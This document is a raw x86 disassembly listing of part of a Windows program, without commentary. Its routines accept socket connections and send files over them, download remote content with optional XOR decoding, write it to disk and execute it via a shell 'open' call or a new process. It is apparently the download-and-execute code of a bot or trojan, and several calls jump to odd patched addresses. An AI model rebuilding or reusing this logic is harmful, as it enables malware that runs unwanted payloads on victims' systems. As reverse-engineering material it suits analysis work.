		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CBA00
		test	eax, eax
		jz	short loc_41624D
		push	offset unk_4380C8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41624D:				; CODE XREF: ___:00416241j
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB978
		push	dword ptr [ebp-2Eh]
		call	dword_4CB904
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41B9C0
		pop	ecx


loc_41627F:				; CODE XREF: ___:004162B0j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_416292
		push	5Fh
		pop	eax
		jmp	short loc_416295
; ---------------------------------------------------------------------------


loc_416292:				; CODE XREF: ___:0041628Bj
		movsx	eax, al


loc_416295:				; CODE XREF: ___:00416290j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41B9C0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_41627F
		push	ebx
		push	edi
		call	dword_4CB9FC
		test	eax, eax
		jz	short loc_4162C8
		push	offset unk_437FEC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162C8:				; CODE XREF: ___:004162BCj
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2730896h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4162F2
		push	offset unk_4380A8
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_4162F2:				; CODE XREF: ___:004162E6j
		push	esi
		push	eax
		nop
		call	near ptr 2770C45h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		push	eax
		call	dword_4CB9D0
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_438090
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB9BC
		test	eax, eax
		jg	short loc_4163A2
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_438078
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		jmp	loc_4164C6
; ---------------------------------------------------------------------------


loc_4163A2:				; CODE XREF: ___:00416380j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_4163DB
		push	offset unk_438054


loc_4163C8:				; CODE XREF: ___:0041620Aj
					; ___:00416248j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4164C9
; ---------------------------------------------------------------------------


loc_4163DB:				; CODE XREF: ___:004163C1j
		push	edi
		call	dword_4CBA6C
		cmp	[ebp+8], esi
		jz	loc_41648D
		mov	edi, 400h


loc_4163F0:				; CODE XREF: ___:00416484j
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_4163FD
		mov	[ebp-4], eax


loc_4163FD:				; CODE XREF: ___:004163F8j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		nop
		call	near ptr 27B0000h
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2710000h
		nop
		push	esi
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA24
		mov	[ebp-4], eax
		push	esi
		cdq
		add	[ebp-10h], eax
		lea	eax, [ebp-0A04h]
		push	edi
		push	eax
		push	dword ptr [ebp-1F8h]
		adc	[ebp-0Ch], edx
		call	dword_4CB9EC
		cmp	eax, ebx
		jl	loc_416522
		mov	eax, [ebp-4]
		cmp	eax, ebx
		jl	loc_416522
		sub	[ebp+8], eax
		jnz	loc_4163F0
		mov	edi, [ebp-18h]


loc_41648D:				; CODE XREF: ___:004163E5j
		push	dword ptr [ebp-8]
		nop
		call	near ptr 2680000h
		push	dword ptr [ebp-0Ch]
		push	dword ptr [ebp-10h]
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [ebp-44h]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset unk_438028
		push	eax
		call	sub_41C266


loc_4164C6:				; CODE XREF: ___:0041639Dj
		add	esp, 14h


loc_4164C9:				; CODE XREF: ___:004163D6j
		cmp	[ebp-50h], esi
		jnz	short loc_4164EE
		push	esi
		lea	eax, [ebp-3FCh]
		push	dword ptr [ebp-54h]
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		add	esp, 14h


loc_4164EE:				; CODE XREF: ___:004164CCj
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_415D38
		cmp	edi, esi
		pop	ecx
		jbe	short loc_416506
		push	edi
		call	dword_4CBA6C


loc_416506:				; CODE XREF: ___:004164FDj
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop


loc_416522:				; CODE XREF: ___:00416470j
					; ___:0041647Bj
		push	esi
		mov	esi, offset dword_438010
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409869
		push	esi
		call	sub_415D38
		add	esp, 18h
		push	dword ptr [ebp-1F8h]
		call	dword_4CBA6C
		push	dword ptr [ebp-58h]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_416563:				; DATA XREF: sub_401ACD+798o
		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41C500
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1C0h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp-8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp-2C4h]
		push	104h
		push	eax
		call	near ptr 2690000h
		nop
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	eax
		lea	eax, [ebp-2C4h]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-2C4h]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		nop
		call	near ptr 2730896h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4165ED
		push	offset unk_43818C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_4165ED:				; CODE XREF: ___:004165E4j
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp-2C4h]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41BEA2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_416615
		push	offset unk_43815C
		jmp	short loc_416633
; ---------------------------------------------------------------------------


loc_416615:				; CODE XREF: ___:0041660Cj
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-1B8h]
		push	eax
		call	sub_415F7A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+8], eax
		jnz	short loc_416646
		push	offset unk_43813C


loc_416633:				; CODE XREF: ___:004165EBj
					; ___:00416613j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_416742
; ---------------------------------------------------------------------------


loc_416646:				; CODE XREF: ___:0041662Cj
		mov	esi, 1000h


loc_41664B:				; CODE XREF: ___:004166B1j
		push	esi
		lea	eax, [ebp-14C4h]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-14C4h]
		push	ebx
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_416712
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4166B3
		push	dword ptr [ebp-4]
		lea	eax, [ebp-14C4h]
		push	edi
		push	1
		push	eax
		call	sub_41DB54
		add	[ebp-8], edi
		add	esp, 10h
		push	dword ptr [ebp-8]
		call	dword_4CB9D0
		mov	[ebp-0Ch], eax
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		jmp	short loc_41664B
; ---------------------------------------------------------------------------


loc_4166B3:				; CODE XREF: ___:0041667Bj
		lea	eax, [ebp-4C4h]
		push	offset dword_438010
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		add	esp, 24h
		push	dword ptr [ebp+8]
		call	dword_4CBA6C
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	1
		nop
		call	near ptr 26F0000h


loc_416712:				; CODE XREF: ___:00416672j
		mov	eax, [ebp-8]
		cdq
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-1B8h]
		push	eax
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-4C4h]
		push	offset unk_438110
		push	eax
		call	sub_41C266
		add	esp, 14h


loc_416742:				; CODE XREF: ___:00416641j
		cmp	[ebp-14h], ebx
		jnz	short loc_416767
		push	ebx
		lea	eax, [ebp-4C4h]
		push	dword ptr [ebp-18h]
		push	eax
		lea	eax, [ebp-0A0h]
		push	eax
		push	dword ptr [ebp-1C0h]
		call	sub_409869
		add	esp, 14h


loc_416767:				; CODE XREF: ___:00416745j
		lea	eax, [ebp-4C4h]
		push	eax
		call	sub_415D38
		cmp	[ebp-4], ebx
		pop	ecx
		jz	short loc_416782
		push	dword ptr [ebp-4]
		call	sub_41BA3B
		pop	ecx


loc_416782:				; CODE XREF: ___:00416777j
		cmp	[ebp+8], ebx
		jbe	short loc_416790
		push	dword ptr [ebp+8]
		call	dword_4CBA6C


loc_416790:				; CODE XREF: ___:00416785j
		push	dword ptr [ebp-1Ch]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_4167A0:				; DATA XREF: sub_401ACD+619Bo
					; sub_401ACD+69D9o
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB8D8
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_416C2C
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		nop
		call	near ptr 2730896h
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short loc_416867
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_438358
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_41684A
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_41684A:				; CODE XREF: ___:00416828j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26F0000h


loc_416867:				; CODE XREF: ___:00416808j
		xor	edi, edi
		call	near ptr 26A0D72h
		nop
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_41BEB5
		pop	ecx
		mov	[ebp-1Ch], eax


loc_416881:				; CODE XREF: ___:00416954j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	dword_4CB8E0
		cmp	[ebp-34h], esi
		jz	short loc_4168C5
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	sub_416C92
		pop	ecx
		pop	ecx


loc_4168C5:				; CODE XREF: ___:004168B2j
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		nop
		call	near ptr 2720000h
		cmp	edi, ebx
		jnb	short loc_416903
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_4168ED
		mov	eax, [ebp+8]


loc_4168ED:				; CODE XREF: ___:004168E8j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch


loc_416903:				; CODE XREF: ___:004168DFj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_416910
		cmp	edi, [ebp-3Ch]
		ja	short loc_41695A


loc_416910:				; CODE XREF: ___:00416909j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_41692A
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438330
		jmp	short loc_41693A
; ---------------------------------------------------------------------------


loc_41692A:				; CODE XREF: ___:00416916j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_438308


loc_41693A:				; CODE XREF: ___:00416928j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_416881


loc_41695A:				; CODE XREF: ___:0041690Ej
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_4169AF
		cmp	edi, [ebp-3Ch]
		jz	short loc_4169AF
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_4382DC
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_4169AF:				; CODE XREF: ___:00416964j
					; ___:00416969j
		nop
		call	near ptr 26A0D72h
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		nop
		call	near ptr 2680000h
		push	dword ptr [ebp-1Ch]
		call	sub_41BA91
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_416A39
		lea	eax, [ebp-148h]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_416A39
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_4382B4
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 28h


loc_416A39:				; CODE XREF: ___:004169E1j
					; ___:004169F3j
		cmp	[ebp-14h], esi
		jz	loc_416C79
		cmp	dword ptr [ebp-44h], 1
		jz	loc_416B34
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43827C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416AB4
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416AB4:				; CODE XREF: ___:00416A92j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_416C79
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB940
		cmp	[ebp-30h], esi
		jnz	loc_416C79
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_438260
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		add	esp, 24h
		jmp	loc_416C79
; ---------------------------------------------------------------------------


loc_416B34:				; CODE XREF: ___:00416A46j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	dbl_427690
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	dbl_427690
		fstp	qword ptr [esp]
		push	offset unk_43821C
		push	eax
		call	sub_41C266
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416B9C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416B9C:				; CODE XREF: ___:00416B7Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_43DB88
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		nop
		call	near ptr 26802D4h
		cmp	eax, edi
		jnz	short loc_416C1E
		call	dword_4CB92C
		call	sub_4188A6
		push	esi
		call	near ptr 77E75CB5h
		nop


loc_416C1E:				; CODE XREF: ___:00416C0Aj
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_4381E8
		jmp	short loc_416C38
; ---------------------------------------------------------------------------


loc_416C2C:				; CODE XREF: ___:004167E5j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4381BC


loc_416C38:				; CODE XREF: ___:00416C2Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_416C6C
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_409869
		add	esp, 14h


loc_416C6C:				; CODE XREF: ___:00416C4Aj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_416C79:				; CODE XREF: ___:00416A3Cj
					; ___:00416AC5j ...
		push	dword ptr [ebp-18h]
		call	dword_4CBA08
		push	dword ptr [ebp-48h]
		call	sub_40B6D6
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop

; =============== S U B	R O U T	I N E =======================================



sub_416C92	proc near		; CODE XREF: ___:004168BEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416CAE


loc_416C9E:				; CODE XREF: sub_416C92+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_416C9E

locret_416CAE:				; CODE XREF: sub_416C92+Aj
		retn
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CAF	proc near		; CODE XREF: sub_401ACD+5761p
					; sub_401ACD+5896p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41DC5E
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416CAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416CC9	proc near		; CODE XREF: sub_41036B+458p
					; sub_41036B+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D35F8
		push	0
		push	edi
		call	sub_41BF70
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416CEE:				; CODE XREF: sub_416CC9+5Bj
					; sub_416CC9+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DD20
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA34
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383AC
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383A8
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8C4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
